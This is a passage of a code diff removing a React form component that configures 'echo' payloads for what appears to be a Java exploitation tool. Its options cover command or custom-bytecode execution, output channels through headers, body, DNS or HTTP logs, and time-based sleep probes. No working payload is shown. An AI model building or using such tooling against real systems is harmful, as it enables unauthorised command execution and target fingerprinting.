string) => method === "sleep" && content === "middleware", - then: (s) => s.required("请选择目标中间件"), - otherwise: (s) => s.optional(), - }), - sleepMiddlewareDelay: yup.number().when(["echoMethod", "echoContent"], { - is: (method: string, content: string) => method === "sleep" && content === "middleware", - then: (s) => s.required("请填写延迟时间").min(1, "延迟至少为 1 秒").typeError("请输入有效的秒数"), - otherwise: (s) => s.optional(), - }), - sleepOsDelays: yup.array().when(["echoMethod", "echoContent"], { - is: (method: string, content: string) => method === "sleep" && content === "os", - then: (s) => - s - .of( - yup.object().shape({ - os: yup.string().required(), - delay: yup.number().required("请填写延迟时间").min(1, "延迟至少为 1 秒").typeError("请输入有效的秒数"), - }), - ) - .min(1, "至少需要一个操作系统延迟配置"), - otherwise: (s) => s.optional(), - }), - sleepJdkDetectionType: yup.string().when(["echoMethod", "echoContent"], { - is: (method: string, content: string) => method === "sleep" && content === "jdk", - then: (s) => s.required("请选择 JDK 探测类型"), - otherwise: (s) => s.optional(), - }), - sleepJdkVersion: yup.string().when("sleepJdkDetectionType", { - is: "version", - then: (s) => s.required("请选择 JDK 版本"), - otherwise: (s) => s.optional(), - }), - sleepJdkType: yup.string().when("sleepJdkDetectionType", { - is: "type", - then: (s) => s.required("请选择 JDK/JRE 类型"), - otherwise: (s) => s.optional(), - }), - sleepJdkDelay: yup.number().when(["echoMethod", "echoContent"], { - is: (method: string, content: string) => method === "sleep" && content === "jdk", - then: (s) => s.required("请填写延迟时间").min(1, "延迟至少为 1 秒").typeError("请输入有效的秒数"), - otherwise: (s) => s.optional(), - }), - sleepBytecodeSuccessDelay: yup.number().when(["echoMethod", "echoContent"], { - is: (method: string, content: string) => method === "sleep" && content === "bytecode", - then: (s) => s.required("请填写延迟时间").min(1, "延迟至少为 1 秒").typeError("请输入有效的秒数"), - otherwise: (s) => s.optional(), - }), -}); - -export default function EchoPayloadGenerator() { - const form = useForm({ - resolver: yupResolver(formSchema) as any, - defaultValues: { - echoMethod: "header", - echoContent: undefined, - headerName: "X-Echo", - logAddress: "", - middlewareType: undefined, - paramSource: "builtin", - requestHeaderName: "X-Data", - requestParamName: "payload", - sleepOsDelays: [{ os: "linux", delay: 5 }], - sleepJdkDetectionType: "version", - sleepJdkType: "jdk", - sleepJdkVersion: "8", - sleepJdkDelay: 5, - sleepBytecodeSuccessDelay: 5, - sleepMiddlewareDelay: 5, - }, - }); - - const { fields, append, remove } = useFieldArray({ - control: form.control, - name: "sleepOsDelays", - }); - - // 监视表单值的变化以动态渲染 UI - const watchedEchoMethod = form.watch("echoMethod"); - const watchedEchoContent = form.watch("echoContent"); - const watchedParamSource = form.watch("paramSource"); - const watchedSleepJdkDetectionType = form.watch("sleepJdkDetectionType"); - - // 重置子选项 - React.useEffect(() => { - form.setValue("echoContent", undefined); - }, [form.setValue]); - - function onSubmit(values: PayloadFormValues) { - // 在这里可以构建最终的 Payload - console.log("Form Submitted:", values); - } - - // --- 动态内容渲染 --- - const [isFile, setIsFile] = useState(false); - const optionOneId = useId(); - const optionTwoId = useId(); - - const renderContentOptions = () => { - const baseOptions: { value: EchoContent; label: string }[] = [ - { value: "middleware", label: "中间件类型" }, - { value: "os", label: "操作系统类型" }, - { value: "jdk", label: "JDK 信息" }, - { value: "command", label: "命令执行" }, - { value: "bytecode", label: "自定义字节码执行" }, - ]; - - let filteredOptions = baseOptions; - - // 根据规则过滤选项 - if (watchedEchoMethod === "header" || watchedEchoMethod === "body") { - filteredOptions = baseOptions.filter((opt) => opt.value !== "middleware"); - } - - if (watchedEchoMethod === "dnslog" || watchedEchoMethod === "httplog" || watchedEchoMethod === "sleep") { - filteredOptions = baseOptions.filter((opt) => opt.value !== "command" && opt.value !== "bytecode"); - } - - return ( - ( - - 回显内容 - - - - )} - /> - ); - }; - - const renderDynamicFields = () => { - // --- Response Header / Body --- - if ((watchedEchoMethod === "header" || watchedEchoMethod === "body") && watchedEchoContent) { - return ( - <> - {watchedEchoContent === "bytecode" && ( -
- ( - - 字节码来源 - - - - - - - 内嵌字节码 - - - - - - 通过 Request Header 传递 - - - - - - 通过 Request Param 传递 - - - - - - )} - /> - {watchedParamSource === "builtin" && ( - ( - - 字节码 Base64 - { - field.onChange(""); - setIsFile(value === "file"); - }} - className="flex items-center space-x-2" - > -
- - -
-
- - -
-
- - {isFile ? ( - { - const file = e.target.files?.[0]; - if (file) { - const reader = new FileReader(); - reader.onload = (event) => { - const base64String = (event.target?.result as string)?.split(",")[1] || ""; - field.onChange(base64String); - }; - reader.readAsDataURL(file); - } - }} - accept=".class" - placeholder="请输入" - type="file" - /> - ) : ( -